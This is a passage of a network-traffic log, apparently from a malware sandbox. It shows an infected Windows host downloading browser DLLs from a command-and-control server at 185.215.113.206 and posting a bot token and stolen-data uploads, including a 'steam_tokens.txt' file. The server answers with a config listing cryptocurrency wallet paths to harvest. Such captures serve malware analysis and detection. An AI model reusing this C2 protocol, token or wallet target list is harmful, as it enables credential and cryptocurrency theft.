10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 12, 2024 15:41:18.256298065 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 12, 2024 15:41:18.256311893 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 12, 2024 15:41:18.256323099 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 12, 2024 15:41:18.256428957 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 12, 2024 15:41:18.256439924 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Nov 12, 2024 15:41:18.256449938 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Nov 12, 2024 15:41:18.256462097 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Nov 12, 2024 15:41:18.256477118 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Nov 12, 2024 15:41:18.256494045 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Nov 12, 2024 15:41:19.112684965 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 15:41:19.402250051 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:41:19 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 12, 2024 15:41:19.683132887 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 15:41:19.967185974 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:41:19 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 12, 2024 15:41:20.129748106 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 15:41:20.413975954 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:41:20 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 12, 2024 15:41:21.291837931 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 15:41:21.575524092 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:41:21 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 12, 2024 15:41:21.722330093 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 15:41:22.006447077 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:41:21 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 12, 2024 15:41:22.417784929 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIJKEHCAKFCAKFHDAAA Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 15:41:23.200306892 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:41:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 15:41:23.294038057 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFCFHDHIIIECBGCAKFI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 66 38 64 65 35 62 37 31 66 64 66 33 36 35 39 65 32 35 63 33 38 66 61 34 61 33 33 33 36 32 63 30 32 33 62 63 37 35 37 63 37 62 37 38 37 38 39 30 37 34 32 37 66 66 30 35 64 33 31 36 39 63 34 37 38 33 36 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 2d 2d 0d 0a Data Ascii: ------BAFCFHDHIIIECBGCAKFIContent-Disposition: form-data; name="token"68f8de5b71fdf3659e25c38fa4a33362c023bc757c7b7878907427ff05d3169c47836825------BAFCFHDHIIIECBGCAKFIContent-Disposition: form-data; name="message"wallets------BAFCFHDHIIIECBGCAKFI--
Nov 12, 2024 15:41:23.580420017 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:41:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 12, 2024 15:41:23.583210945 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFBAAFCGIEGDHIEBFII Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 66 38 64 65 35 62 37 31 66 64 66 33 36 35 39 65 32 35 63 33 38 66 61 34 61 33 33 33 36 32 63 30 32 33 62 63 37 35 37 63 37 62 37 38 37 38 39 30 37 34 32 37 66 66 30 35 64 33 31 36 39 63 34 37 38 33 36 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 2d 2d 0d 0a Data Ascii: ------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="token"68f8de5b71fdf3659e25c38fa4a33362c023bc757c7b7878907427ff05d3169c47836825------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="message"files------KKFBAAFCGIEGDHIEBFII--
Nov 12, 2024 15:41:23.869052887 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:41:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 15:41:23.881701946 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHDAEHDAKECGCAKFCFI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 66 38 64 65 35 62 37 31 66 64 66 33 36 35 39 65 32 35 63 33 38 66 61 34 61 33 33 33 36 32 63 30 32 33 62 63 37 35 37 63 37 62 37 38 37 38 39 30 37 34 32 37 66 66 30 35 64 33 31 36 39 63 34 37 38 33 36 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BFHDAEHDAKECGCAKFCFIContent-Disposition: form-data; name="token"68f8de5b71fdf3659e25c38fa4a33362c023bc757c7b7878907427ff05d3169c47836825------BFHDAEHDAKECGCAKFCFIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BFHDAEHDAKECGCAKFCFIContent-Disposition: form-data; name="file"------BFHDAEHDAKECGCAKFCFI--
Nov 12, 2024 15:41:24.661452055 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:41:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 15:41:24.687212944 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKFIDGDHJEGIEBFHDGDG Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 66 38 64 65 35 62 37 31 66 64 66 33 36 35 39 65 32 35 63 33 38 66 61 34 61 33 33 33 36 32 63 30 32 33 62 63 37 35 37 63 37 62 37 38 37 38 39 30 37 34 32 37 66 66 30 35 64 33 31 36 39 63 34 37 38 33 36 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 2d 2d 0d 0a Data Ascii: ------JKFIDGDHJEGIEBFHDGDGContent-Disposition: form-data; name="token"68f8de5b71fdf3659e25c38fa4a33362c023bc757c7b7878907427ff05d3169c47836825------JKFIDGDHJEGIEBFHDGDGContent-Disposition: form-data; name="message"ybncbhylepme------JKFIDGDHJEGIEBFHDGDG--
